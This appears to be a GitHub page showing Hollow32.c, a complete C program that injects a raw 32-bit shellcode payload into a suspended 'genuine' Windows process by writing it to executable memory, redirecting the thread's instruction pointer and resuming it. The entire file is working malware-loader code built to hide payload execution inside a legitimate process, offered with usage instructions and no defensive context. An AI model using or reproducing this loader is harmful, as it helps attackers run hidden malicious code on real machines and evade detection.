-
Notifications
You must be signed in to change notification settings - Fork 7
/
Hollow32.c
101 lines (64 loc) · 2 KB
/
Hollow32.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include <windows.h>
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("Reminder: This will only work with .bin files or raw payload of 32bit\n");
if (argc < 3)
{
printf("Usage:%s <Genuine_Process> <Payload BIN File>\n", argv[0]);
return 1;
}
void *exec;
FILE *file = fopen(argv[2], "rb");
fseek(file, 0, SEEK_END);
long MalSize = ftell(file);
fseek(file, 0, SEEK_SET);
byte *buffer = (byte *)malloc(MalSize);
fread(buffer, 1, MalSize, file);
fclose(file);
STARTUPINFOA si = {
sizeof(si)
};
PROCESS_INFORMATION pi;
if (!CreateProcessA(argv[1], NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
{
printf("[-] Error Creating Process\n");
return 1;
}
printf("[+] Process Created\n");
exec = VirtualAllocEx(pi.hProcess, NULL, MalSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec == NULL)
{
printf("[-] Error Allocating Memory\n");
return 1;
}
printf("[+] Memory Allocated\n");
if (!WriteProcessMemory(pi.hProcess, exec, buffer, MalSize, NULL))
{
printf("[-] Error Writing Memory\n");
return 1;
}
printf("[+] Payload written to Memory\n");
CONTEXT CT;
CT.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread, &CT))
{
printf("[-] Error Getting Thread Context\n");
return 1;
}
printf("[+] Retrived the Context of the Thread\n");
CT.Eip = (DWORD)exec;
if (!SetThreadContext(pi.hThread, &CT))
{
printf("[-] Error Setting Thread Context\n");
return 1;
}
printf("[+] Setting the Payload to the Instruction Pointer\n");
Sleep(18);
ResumeThread(pi.hThread);
printf("[+] Process Hollowing Successful\n");
free(buffer);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}